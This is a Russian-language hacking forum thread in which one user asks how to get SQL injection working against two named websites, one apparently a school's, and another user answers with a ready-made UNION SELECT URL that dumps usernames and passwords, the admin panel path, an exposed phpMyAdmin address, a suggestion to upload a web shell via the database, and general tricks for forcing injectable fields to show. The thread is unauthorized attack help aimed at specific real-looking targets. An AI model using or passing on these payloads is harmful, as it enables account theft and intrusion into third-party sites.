хелп со скулем

хелп со скулем

29.08.2007, 03:14

bulbazaur

Участник форума

Регистрация: 10.09.2006

Сообщений: 160

С нами: 10350546

Репутация: 96

хелп со скулем

так, во первых, скажите мне, пожалуйста, где здесь одминка?

:http://sofs.ru

во-вторых:
http://gym1517.ru/download.php?key=1+order+by+4
делаю юнион+1,2,3,4 - ошибка все равно вылезает
http://gym1517.ru/index.php?page=online&msg=18+order+by+7
делаю юнион - ни одного поля.
что делать? xD

𝕏 Twitter Reddit Telegram Копировать ссылку

29.08.2007, 03:20

n0ne

Постоянный

Регистрация: 01.01.2007

Сообщений: 796

С нами: 10188506

Репутация: 861

Цитата:

http://gym1517.ru/index.php?page=online&msg=18+and(1=2)+union+select +1,concat(username,0x3a,passwd),3,4,5,6,7+from+use r/*

Цитата:

http://gym1517.ru/admin/

наслаждайся

На http://sofs.ru нашел только phpMyAdmin:

Цитата:

http://sofs.ru/phpMyAdmin/

, что логично))

Ну если прав хватит на mysql.user (если у тебя там скуля) то через БД зальешь шелл

З.Ы. на будущее: Если поля сами по себе не появились, нужно сделать ошибку в синтаксисе запроса, как например здесь 1=2, ведь 1 не равно 2?

Или просто минус поставить, т.е. msg=-18 или msg[]=18 (иногда прокатывает), или msg=999999999999999, т.е. число, которого нет в БД. Ну вообщем понятно)

Последний раз редактировалось n0ne; 29.08.2007 в 03:26..